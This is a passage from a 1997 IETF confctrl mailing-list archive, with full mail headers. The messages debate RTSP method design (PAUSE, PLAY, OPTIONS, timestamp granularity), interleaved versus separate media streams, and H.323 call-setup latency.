All this would fit in the protocol fairly nicely as the protocol already
has some server state.

But remember, this is truly a meta-level question. The idea may not be
coherent enough to warrant addition to the protocol.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>




From majordom@ISI.EDU  Wed Mar  5 16:39:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20366>; Wed, 5 Mar 1997 18:39:51 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AB20359>; Wed, 5 Mar 1997 18:39:48 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23586>; Wed, 5 Mar 1997 18:38:23 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA01105; Wed, 5 Mar 1997 21:39:41 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id VAA08683; Wed, 5 Mar 1997 21:39:41 -0500 (EST)
Message-Id: <331E2E6C.6DE6@cs.columbia.edu>
Date: Wed, 05 Mar 1997 21:39:40 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@isi.edu
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306015142Z-31222@INET-04-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Quick note before I head home: 

The speed header does support the FF/Rewind functionality you desire.

PAUSE: Glad to find a fellow stateless (or maybe less-state) soul :-) If
we require the client to always specify the starting point with a PLAY,
this would seem to allow the server to do exactly what you describe
(which is, I think a good idea). If a state-challenged server gets a
PAUSE, it just drops the resources and doesn't have to worry about
holding resources.

The only problem (and this goes back to discussions that Rob, Anup and I
have had) is the ability to set the transport parameters like the
destination port. Currently, the server has to remember that information
from the SETUP. I had argued that putting this into the PLAY method
would allow, but not require, less-state servers, at the slight cost of
checking for changes.

Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar  5 16:44:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20441>; Wed, 5 Mar 1997 18:44:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20433>; Wed, 5 Mar 1997 18:44:35 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23804>; Wed, 5 Mar 1997 18:44:34 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA01228 for <confctrl@isi.edu>; Wed, 5 Mar 1997 21:44:32 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id VAA08689 for <confctrl@isi.edu>; Wed, 5 Mar 1997 21:44:31 -0500 (EST)
Message-Id: <331E2F8F.11E5@cs.columbia.edu>
Date: Wed, 05 Mar 1997 21:44:31 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP: resolution of some open issues
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob and I had a hallway discussion in SF regarding RTSP methods.
Tentatively, subject to further re-thinking, discussion, etc.:

(1) Agreement to provide options negotiation at any point, but change
name from HELLO to OPTIONS, just as in HTTP. Seems more descriptive.

Note: OPTIONS would not establish a session, since the client hasn't committed
to actually doing anything with the track. It is just trying to find out what
the server is capable of doing. (Or vice versa, server asks client.) In many
cases, the client may decide that it can't talk to the server, for example.

Authentication is up to the server. A paranoid server can request re-authentication
for each new TCP connection, a slightly less so would not and use the session ID. 

(2) Functionality of BYE has been wholly subsumed by CLOSEing the event
(see previous mail to confctrl on terminology) or all the tracks which
were PLAYed or SETUP. [The latter part is currently underspecified in
the draft.]

(3) GET should be usable at any point, but not cause state transitions.
(I'd remove GET from the state diagrams for that reason). Name is open,
but should be more descriptive, such as HEADER or META or ...
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar  5 10:46:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20580>; Wed, 5 Mar 1997 18:50:04 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20574>; Wed, 5 Mar 1997 18:50:02 -0800
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23903>; Wed, 5 Mar 1997 18:49:57 -0800
Received: by INET-05-IMC with Internet Mail Service (5.0.1457.3)
	id <GLPW1FCA>; Wed, 5 Mar 1997 18:52:00 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802BBD79F@RED-68-MSG>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Mark Handley' <mjh@isi.edu>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'"
	 <rem-conf@es.net>
Subject: RE: In Defense of Interleaved Data Formats 
Date: Wed, 5 Mar 1997 18:46:43 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Your comments appear to be written from a conferencing perspective. I
fear that I haven't helped you to understand the fundamental requirement
of a significant percentage (i.e., probably the majority) of "on demand"
usage. This requirement is that the "multimedia experience" is preserved
independently of what is happening on the network. Thus, if the network
becomes saturated, the worst thing to do would be to drop a given media
stream in order to preserve another stream based on network assumptions
as to which stream may be "more important" (i.e., your suggestion to
drop video but to preserve audio in a congested situation). This
incorrectly presumes that one media type is more important than another
in a "multimedia experience". They all are important if the "experience"
is to be maintained in tact. Now mind you, the content creator may
indeed choose for certain streams to be given preferential treatment but
it is simply impossible to know which stream will be given such
preference in the general case - unlike the conferencing experience.

Rather, the appropriate thing to do in the face of severe network
congestion would be to do one of the following:
*	Cancel the experience outright due to underlying network
problems
*	Delay the experience until such a time as the network can handle
the load
*	Continue the experience with "choppy" reception

Thus, as you can see, interleaving is the most appropriate approach for
preserving a multimedia experience since it is more difficult to manage
an appropriate response with segregated media streams and they are more
prone to distort the experience in the face of network congestion.

It is doubtful that you will be able to understand what I'm talking
about as long as you think as an engineer. I am talking "experience" not
"information". This is a left-brain, right-brain type of dichotomy. To
understand what I'm saying, you have to think as an artist. What we are
talking about is the preservation of an artistic creation across the
network. That this creation may educate or convey critical, essential
information does not diminish the fact that we are talking about
art-forms when we are talking about "on demand" streaming.

I therefore encourage you to re-read my original message from this
point-of-view. Should you do so, then I think that you will find points
2-4 to be very intuitive and obvious. I thank you for your input about
point #1 since that was information about which I was previously
unaware.

Also, you seem to be thinking only about audio and video when I say
"multimedia".  While interesting experiences are indeed created using
only those two media types, I would prefer you to think of audio + video
+ MIDI + URL flipping + streaming text + active background applications
like stock tickers + still images + ....   Why limit ourselves to only
two media types? Certainly the people making streaming "on-demand"
content don't.

I implied in my original message that there were many reasons supporting
interleaving of data, even though I only cited four. Here's another
(and, if you keep disagreeing with me, I'll have to keep giving other
reasons ;-) ):

When the artist creates the multimedia experience, the artist creates
that experience independent from any underlying network concerns (in the
general case) with the sole exception of data rates. The experience is
indeed targeted to be streamed at a given data rate and that rate
constrains how much data is available at any point of the timeline. The
artist doesn't care in many cases whether the experience is carried over
RTP or whether it is carried via TCP, UDP, or HTTP, IPX/SPX, SNA, or
whatever just as long as it arrives as designed.  Now you will perhaps
argue that streaming content can't be carried over connection-oriented
transports like the TCP or HTTP such as were mentioned in the previous
sentence. Experience has demonstrated that this observation may very
well be true for segregated media streams, however, it is emphatically
*not* true for interleaved media streams (given a certain preroll
value). 

Here's the deal: the content creator determines the experience but the
local client's environment determines the mechanism by which that
experience is delivered. When we made our product, therefore, we were
compelled to de-couple the experience from the transport. This means
that any given experience will need to be carried via RTP here but HTTP
there. Why HTTP and why native TCP? Well, it turns out that many users
are very concerned about their firewalls with the degree of concern
varying between companies. Some corporations will permit us to "bore
through" their firewalls via a UDP session, others will permit a single
port via TCP streaming, while others refuse to permit any holes in their
firewalls whatsoever. In the latter case we stream via HTTP if they
permit that protocol to enter their environment, otherwise we are
blocked out.

		-----Original Message-----
		From:	Mark Handley [SMTP:mjh@isi.edu]
		Sent:	Wednesday, March 05, 1997 4:36 PM
		To:	Eric Fleischman
		Cc:	'confctrl@isi.edu'; 'rem-conf@es.net'
		Subject:	Re: In Defense of Interleaved Data
Formats 


		Your comments appear to be written from a conferencing
perspective. They don't seem to understand the fundamental requirements
of a significant percentage of "on demand" usage. This requirement is
that the "multimedia experience" is preserved independently of what is
happening on the network. Thus, if the network becomes saturated, the
absolutely wrong thing to do would be to drop a given media stream to
preserve another stream (i.e., your suggestion to drop video but to
preserve audio in a congested situation). Rather, the appropriate thing
to do would be to do one of the following:

			>2.  ... Interleaving encourages tight
synchronization and offers a
			>higher degree of probability for preserving the
designed experience in
			>the presence of data loss, network variability,
and sunspots.

		Actually this isn't true.  Interleaving gives the
network less oportunity to preserve your audio preferentially from your
video if the network gets loaded (which is usually the right thing to
do).
		In addition, synchronisation is no easier.  You have all
the same information in separate RTP streams that you have in
interleaved streams.  In either case you need to cope with mismatches in
clock rate between the video stream and a receiving audio device that
which is not clocked at exactly the frequency the manufacturer claims.
Once you're re-tuning the audio buffering periodically, it makes no
difference whether the streams were transported together or separately.
			>3.	On-demand media may be composed of many
media types. Some of
			>these are "streaming" media types (e.g., voice,
video, and MIDI) while
			>others are not (e.g., still images, URL
flippings, script commands and
			>executables). "On demand uses" also encourage
the innovative invention
			>of rare media types. Regardless, the net effect
is that there will be N
			>media streams for on-demand usages where N may
be quite a handful.

		This seems to be an argument *against* interleaving to
me...
			>4.	Disk-head movement efficiency on the
server. The argument here
			>is that interleaving encourages more efficient
disk storage approaches
			>with superior I/O processing capabilities. This
directly effects the
			>construction of more efficient network
streaming approaches.

		Separate streams lets you store your audio and video on
different discs, and hence *improves* performance in some cases :-)
		Besides, if your server isn't doing some form of tuning
to available bandwidth, it's going to be a dinosaur in the long run.
Right now you might get away with it but the internet won't stand large
numbers of unadaptive streams, and so we'll get schemes like RED, CBQ,
WFQ, etc deployed to defend it.  Once the server is doing bandwidth
adaption of such streams, I don't really believe that the "interleaving
impacts the disc" argument holds well because you'll likely be using
layered codecs anyway.  At the very least, you won't be able to stream
straight from disc to net.
		Mark

From majordom@ISI.EDU  Wed Mar  5 11:12:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21242>; Wed, 5 Mar 1997 19:12:25 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21236>; Wed, 5 Mar 1997 19:12:23 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA24910>; Wed, 5 Mar 1997 19:12:22 -0800
Received: by INET-04-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2999.37E54A40@INET-04-IMC.microsoft.com>; Wed, 5 Mar 1997 19:12:50 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306031219Z-31458@INET-04-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Time in RTSP
Date: Wed, 5 Mar 1997 19:12:19 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 16 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am concerned about the time granularity specified within RTSP, 
particularly in regards to the timestamps of section 3.4.

The hours:minutes:seconds:frames distinction isn't very helpful for 
non-video data sessions, particularly if the synchronization is to occur 
between multiple media streams, none of which has a concept of "frame".

The experience we have had with our product to date suggests the need to 
synchronize on a granularity of a hundred-nanoseconds. Microsecond or even 
millisecond granularities could probably also be used (though not as 
desirable as the finer time scale). However, one second granularities are 
simply too coarse for orchestrating the type of creative content which is 
being streamed today. Such a granularity would have grave implications to 
streaming content and would undesirably constrain the streaming 
experience.


From majordom@ISI.EDU  Wed Mar  5 13:54:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24416>; Wed, 5 Mar 1997 21:57:55 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24410>; Wed, 5 Mar 1997 21:57:54 -0800
Received: from proxy2.ba.best.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00465>; Wed, 5 Mar 1997 21:57:53 -0800
Received: from mg128-204.ricochet.net (mg128-204.ricochet.net [204.179.128.204]) by proxy2.ba.best.com (8.8.5/8.8.3) with SMTP id VAA29773; Wed, 5 Mar 1997 21:54:48 -0800 (PST)
Date: Wed, 5 Mar 1997 21:54:48 -0800 (PST)
Message-Id: <1.5.4.16.19970305223954.0a076550@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Eric Fleischman <ericfl@MICROSOFT.com>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: In Defense of Interleaved Data Formats
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 03:05 PM 3/5/97 -0800, Eric Fleischman wrote:
>4.	Disk-head movement efficiency on the server. The argument here
>is that interleaving encourages more efficient disk storage approaches
>with superior I/O processing capabilities. This directly effects the
>construction of more efficient network streaming approaches. This
>efficiency directly translates into server performance including the
>ability to support a larger number of simultaneous "On-demand" sessions
>by that server.

Let's not forget that we're designing network protocols here, not storage
formats.  There's nothing to preclude the various media that make up a
multimedia session being interleaved on the *disk*, even though the data
within each of the resulting network packets is not interleaved.  (In fact,
one can even imagine a media server storing its data with partially
precomputed network headers, to optimize the process of spitting its data
out onto the network.)

Incidentally, this confusion - between storage formats and network data
formats - is one that I've seen recently occur in other IETF working groups,
e.g., the "calendar scheduling" group.  Microsoft (& other companies) are
free to continue to define and use whatever storage formats they wish.  We
don't care; this is the *Internet* Engineering Task Force.  All we care
about is what goes over the network.

In your follow-up message, you wrote:

>It is doubtful that you will be able to understand what I'm talking
>about as long as you think as an engineer. I am talking "experience" not
>"information". This is a left-brain, right-brain type of dichotomy. To
>understand what I'm saying, you have to think as an artist. What we are
>talking about is the preservation of an artistic creation across the
>network. That this creation may educate or convey critical, essential
>information does not diminish the fact that we are talking about
>art-forms when we are talking about "on demand" streaming.

I'm sorry to sound rude, but this "touchy-feely" stuff makes me want to
vomit.  This is the Internet *Engineering* Task Force, and *engineering* is
what we do here.  Fortunately, there *are* some real engineering questions
that arises from your concerns, namely:

You want it to be possible to implement one of the following end-to-end
semantics when confronted with network loss or delay:
        1/ cancel the presentation
        2/ delay the presentation (as appropriate)
        3/ continue the presentation in spite of missing data
The questions are:
a) Can the particular choice (between 1, 2 and 3) be adequately conveyed -
e.g., in a session description - if different media are *not* interleaved
within network packets.
b) Can each of these choices be implemented (efficiently), if different
media are *not* interleaved within network packets.

We should, I think, be able to answer these questions without having to
stick our heads inside a pyramid.

        Ross.


From majordom@ISI.EDU  Wed Mar  5 22:08:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24630>; Wed, 5 Mar 1997 22:08:57 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24621>; Wed, 5 Mar 1997 22:08:56 -0800
Received: from ALMADEN.IBM.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00911>; Wed, 5 Mar 1997 22:08:55 -0800
Received: from ALMADEN by almaden.ibm.com (IBM VM SMTP V2R2) with BSMTP id 1822;
   Wed, 05 Mar 97 22:07:47 PST
Received: by ALMADEN (XAGENTA 4.0) id 8019; Wed, 5 Mar 1997 22:07:47 -0800
Received: by almlnsg0.almaden.ibm.com (outermai.cmd 1.2 31 Aug 1993) 10:08pm 5 Mar 1997
Received: by almlnsg0.almaden.ibm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/)
          id AA7422; Wed, 05 Mar 97 22:08:51 -0800
Received: by ALMADEN (Lotus Notes Mail Gateway for SMTP V1.1) id
  03BBDD78EC3D7C5188256452002064F2; Wed,  5 Mar 97 22:08:43
Message-Id: <9703060608.AA7422@almlnsg0.almaden.ibm.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl @isi.edu'" <confctrl@isi.edu>
From: "Marc Eshel/Almaden/IBM" <eshel@almaden.ibm.com>
Date:  5 Mar 97 22:08:31
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,
Maybe we can require the offset to be on PAUSE and PLAY so you can have a
'state less'
server, but if you want to implement a server that doesn't tell a client after
a PAUSE that the
resources are gone and he can not continue to play because he paused and the
resources
were used for another stream, or if you really want to be ready on the server
by pre-fetching
the stream so when the play comes you can respond faster you need the offset on
the PAUSE too.

Marc.

From majordom@ISI.EDU  Wed Mar  5 16:01:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26694>; Thu, 6 Mar 1997 00:14:42 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26688>; Thu, 6 Mar 1997 00:14:40 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA04841>; Thu, 6 Mar 1997 00:14:39 -0800
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id AAA02744; Thu, 6 Mar 1997 00:01:27 -0800
Date: Thu, 6 Mar 1997 00:01:27 -0800 (PST)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Mark Handley'" <mjh@isi.edu>, "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: RE: In Defense of Interleaved Data Formats 
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802BBD79F@RED-68-MSG>
Message-Id: <Pine.SOL.3.93.970305230220.9981A-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


You are arguing that interleaved representations are necessary to
preserve "the multimedia experience".  And further that the ability of
a non-interleaved, packet-per-media type approach to suppress one of
the media types of the presentation isn't useful because it would
destroy "the multimedia experience".

You seem to be saying that it is better to simply stop the
presentation, in total, rather than try to carry any less than perfect
rendition.

I don't agree.

The choice depends on the type of presentation.

When reality strikes, we will notice that a lot of presentations
happen to be audio and video presentations or conferences (often with
less than stellar camera work or microphone mixing -- hardly an
artistic creation.)

And our own experience has tought us that there are techniques, such
as layered encodings and the like, which can preserve the
intelligibility of the interchange at the cost of some audio quality
or even the video itself.

Interleaved streams will prevent us from making use of those
techniques on those sessions where quality degredation is not only
acceptable, but is desiragle to preserve the information content.

And on those presentations in which one wants to stop the data flow or
postpone it, whether the data is interleaved or not really makes no
difference.  It's just as easy to tell a server to stop sending two
separate RTP streams as it is to tell it to stop one.

And as someone mentioned, the argument for interleaving avoids dealing
with the fact that inside a receiving computer, the audio and video
paths are very different and have different time delays.  So the data
streams will be separated and independently timed for rendition no
matter whether they arrive in the same or different packets.

So even if I were to agree with you that total quality must not be
sacrificed, I still don't agree with you that that leads to the conclusion
that one must have interleaved streams.

> It is doubtful that you will be able to understand what I'm talking
> about as long as you think as an engineer.

Speaking as one who spends a lot of my time doing live theatre, I
wouldn't be so quick to deprecate the ability of engineers to
comprehend aesthetic issues.

OK, I'm sitting here pretending that I'm on-stage looking into the
lights and hearing the rustle of the audience while I'm waiting for
the music cue... .... .... Whew, that was one artistic experience!
... And I still don't agree with you.

> ... Now you will perhaps
> argue that streaming content can't be carried over connection-oriented
> transports like the TCP or HTTP such as were mentioned in the previous
> sentence. Experience has demonstrated that this observation may very
> well be true for segregated media streams, however, it is emphatically
> *not* true for interleaved media streams (given a certain preroll
> value). 

Of course "streaming content" can be carried over connection-oriented
transports like TCP.  Just not in real-time.

TCP engines are designed with various algorithms to avoid adding to
network congestion.  As such they exhibit potentially long, possibly
difficult to bound, delays.  Unless you know the characteristics of
the TCP engines involved, you can't come up with a completely safe
"preroll" value.  There is always a chance that you will underrun.

Your comments about firewalls are well taken.  However, I have faith
that the firewall folks can figure out how to deal with UDP based
traffic.

			--karl--






From majordom@ISI.EDU  Wed Mar  5 16:24:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26790>; Thu, 6 Mar 1997 00:24:21 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26784>; Thu, 6 Mar 1997 00:24:20 -0800
Received: from rah.star-gate.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05167>; Thu, 6 Mar 1997 00:24:19 -0800
Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.5/8.7.3) with ESMTP id AAA00379; Thu, 6 Mar 1997 00:24:14 -0800 (PST)
Message-Id: <199703060824.AAA00379@rah.star-gate.com>
X-Mailer: exmh version 1.6.9 8/22/96
To: Mark Handley <mjh@isi.edu>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: In Defense of Interleaved Data Formats 
In-Reply-To: Your message of "Wed, 05 Mar 1997 19:36:18 EST."
             <8946.857608578@buttle.lcs.mit.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 06 Mar 1997 00:24:14 -0800
From: Amancio Hasty <hasty@rah.star-gate.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

From The Desk Of Mark Handley :
> >4.	Disk-head movement efficiency on the server. The argument here
> >is that interleaving encourages more efficient disk storage approaches
> >with superior I/O processing capabilities. This directly effects the
> >construction of more efficient network streaming approaches.
> 
> Separate streams lets you store your audio and video on different
> discs, and hence *improves* performance in some cases :-)

Well, sort of ...

If you are going to have a server I would imagine that one can do software or
hardware disk stripping , if such is the case then perhaps an interleave
media stream is more efficient than two different media streams.
If one media stream requires more bandwidth than the other then it
may be nice to have separate streams for a better system utilization
by transmitting the prioritized stream. I would imagine that the best
way of handling interleaving vs. separate media streams is to leave 
the choice to the tool and not mandate it as a protocol procedure.

	Cheers,
	Amancio

	



From majordom@ISI.EDU  Thu Mar  6 08:46:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27256>; Thu, 6 Mar 1997 00:47:16 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27250>; Thu, 6 Mar 1997 00:47:14 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA03345>; Thu, 6 Mar 1997 00:47:10 -0800
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05626-0@bells.cs.ucl.ac.uk>; Thu, 6 Mar 1997 08:46:55 +0000
To: huitema@bellcore.com (Christian Huitema)
Cc: confctrl@ISI.EDU
Subject: Re: comment on intel i-d on h323 and internet
In-Reply-To: Your message of "Wed, 05 Mar 1997 17:59:44 EST." <9703051759.ZM23909@seawind.bellcore.com>
Date: Thu, 06 Mar 1997 08:46:53 +0000
Message-Id: <854.857638013@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



this is a seperate but useful point......

but yes,. why h323 can't just use either TCP conenctio ncompletion as
implict q931 setup completion, or even use a multicast control
protocol (actually they are working on that now) was always beyond
me.......ditto for the H245, at least that could remove 2 RTTs or even
3 or 4 if you remove TP0 mapping....

[we've been here before a few times, havnt we!!!]

but my main concern was about the multipoint controller - the order of
arrival of conference control application messages is non determined,
where as with a fixed RTT yo uhave in an ISDN network (viz it must be
or BONDing wouldn;t work:-), yo ucan do one time RTT estiamtion ,and
then create a perfect ordering with a trivial application protocol,
which simply wont work over a star of TCP conenctions....so the
service, e.g. for distributed whiteboards, will NOT have the same
semantics...

oh well...

 >Last time I counted, doing RAS + q931 + H245 implied :
 >
 >1 RTT for RAS,
 >3 RTT for q931:
 >        1 for the TCP SYN,
 >        1 for the TP0 SYN in RFC1006
 >        1 for the q931 call set up
 >4 RTT for h245:
 >        1 for the TCP SYN
 >        1 for TP0
 >        1 for the capacity exchange
 >        1 for the channel open
 >which implies 8 RTT before you set up, say, a telephone call.  The
 >current Internet RTT for a long distance transmission is at best 100 ms,
 >more likely 200.  So, we are speaking of 0.8 to 1.6 seconds to set up
 >the call.  If you have any transmission error, you have to add 4 seconds,
 >i.e. the initial timer estimate of TCP.  and we can certainly expect
 >quite a few errors on long distance transmissions...


yep,
cheers

 jon



From majordom@ISI.EDU  Thu Mar  6 09:13:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27907>; Thu, 6 Mar 1997 01:15:17 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27900>; Thu, 6 Mar 1997 01:15:15 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA03534>; Thu, 6 Mar 1997 01:15:12 -0800
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06568-0@bells.cs.ucl.ac.uk>; Thu, 6 Mar 1997 09:13:46 +0000
To: Ross Finlayson <finlayson@lvn.com>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: In Defense of Interleaved Data Formats
In-Reply-To: Your message of "Wed, 05 Mar 1997 21:54:48 PST." <1.5.4.16.19970305223954.0a076550@pop.best.com>
Date: Thu, 06 Mar 1997 09:13:44 +0000
Message-Id: <1148.857639624@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >You want it to be possible to implement one of the following end-to-end
 >semantics when confronted with network loss or delay:
 >        1/ cancel the presentation
 >        2/ delay the presentation (as appropriate)
 >        3/ continue the presentation in spite of missing data
 >The questions are:
 >a) Can the particular choice (between 1, 2 and 3) be adequately conveyed -
 >e.g., in a session description - if different media are *not* interleaved
 >within network packets.
 >b) Can each of these choices be implemented (efficiently), if different
 >media are *not* interleaved within network packets.
 
yes, well said...

actually, what interleaving says is :

It is a REQUIREMENT of this type of presentation that all media suffer
network effects exactly in proportion to the way they are interleaved....

since this is pretty arbitrary compared with the way the QUALITY of
the presentation will then vary (e.g. consider a variation in rate or loss
for video versus a variance in audio for a given relative sample size
in the packet), i suspect most content providers would be fairly upset
by the way such a presentaiton would degrade......

interleaving: lets see now, what was the end2end principle again?

 >We should, I think, be able to answer these questions without having to
 >stick our heads inside a pyramid.

:-)

 jon


From majordom@ISI.EDU  Thu Mar  6 13:36:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02263>; Thu, 6 Mar 1997 03:38:33 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02257>; Thu, 6 Mar 1997 03:38:27 -0800
Received: from postal.cselt.stet.it by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10572>; Thu, 6 Mar 1997 03:38:07 -0800
Received: from anduril.cselt.stet.it by POSTAL.CSELT.STET.IT (PMDF V4.2-15
 #4385) id <01IG6KU5GTCG000QOB@POSTAL.CSELT.STET.IT>; Thu,
 6 Mar 1997 12:35:54 MET
Received: from titano by anduril.cselt.stet.it (SMI-8.6/SMI-SVR4) id MAA08028;
 Thu, 6 Mar 1997 12:38:51 +0100
Date: Thu, 06 Mar 1997 12:36:02 +0100
From: Guido Franceschini <Guido.Franceschini@cselt.stet.it>
Subject: Re: In Defense of Interleaved Data Formats
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@isi.edu
Message-Id: <2.2.32.19970306113602.008029a8@anduril.cselt.stet.it>
X-Envelope-To: confctrl@isi.edu
Mime-Version: 1.0
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7BIT
X-Sender: guido@anduril.cselt.stet.it
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Dear all,

